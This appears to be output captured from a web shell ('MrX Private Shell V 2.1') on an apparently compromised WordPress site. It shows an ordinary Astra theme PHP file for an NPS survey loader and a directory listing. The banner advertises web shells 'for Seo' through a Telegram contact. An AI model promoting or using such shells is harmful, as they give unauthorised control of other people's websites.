__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Init
*
* @since 1.0.0
* @package NPS Survey
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
if ( ! class_exists( 'Astra_Nps_Survey' ) ) {
/**
* Admin
*/
class Astra_Nps_Survey {
/**
* Instance
*
* @since 1.0.0
* @var (Object) Astra_Nps_Survey
*/
private static $instance = null;
/**
* Get Instance
*
* @since 1.0.0
*
* @return object Class object.
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor.
*
* @since 1.0.0
*/
private function __construct() {
// Allow users to disable NPS survey via a filter.
if ( apply_filters( 'astra_nps_survey_disable', false ) ) {
return;
}
$this->version_check();
add_action( 'init', array( $this, 'load' ), 999 );
}
/**
* Version Check
*
* @return void
*/
public function version_check() {
$file = realpath( dirname( __FILE__ ) . '/nps-survey/version.json' );
// Is file exist?
if ( is_file( $file ) ) {
// @codingStandardsIgnoreStart
$file_data = json_decode( file_get_contents( $file ), true );
// @codingStandardsIgnoreEnd
global $nps_survey_version, $nps_survey_init;
$path = realpath( dirname( __FILE__ ) . '/nps-survey/nps-survey.php' );
$version = isset( $file_data['nps-survey'] ) ? $file_data['nps-survey'] : 0;
if ( null === $nps_survey_version ) {
$nps_survey_version = '1.0.0';
}
// Compare versions.
if ( version_compare( $version, $nps_survey_version, '>=' ) ) {
$nps_survey_version = $version;
$nps_survey_init = $path;
}
}
}
/**
* Load latest plugin
*
* @return void
*/
public function load() {
global $nps_survey_version, $nps_survey_init;
if ( is_file( realpath( $nps_survey_init ) ) ) {
include_once realpath( $nps_survey_init );
}
}
}
/**
* Kicking this off by calling 'get_instance()' method
*/
Astra_Nps_Survey::get_instance();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| astra-notices | Folder | 0750 |
|
|
| batch-processing | Folder | 0750 |
|
|
| bsf-analytics | Folder | 0750 |
|
|
| docs | Folder | 0750 |
|
|
| nps-survey | Folder | 0750 |
|
|
| webfont | Folder | 0750 |
|
|
| class-astra-nps-notice.php | File | 3.41 KB | 0640 |
|
| class-astra-nps-survey.php | File | 2 KB | 0640 |
|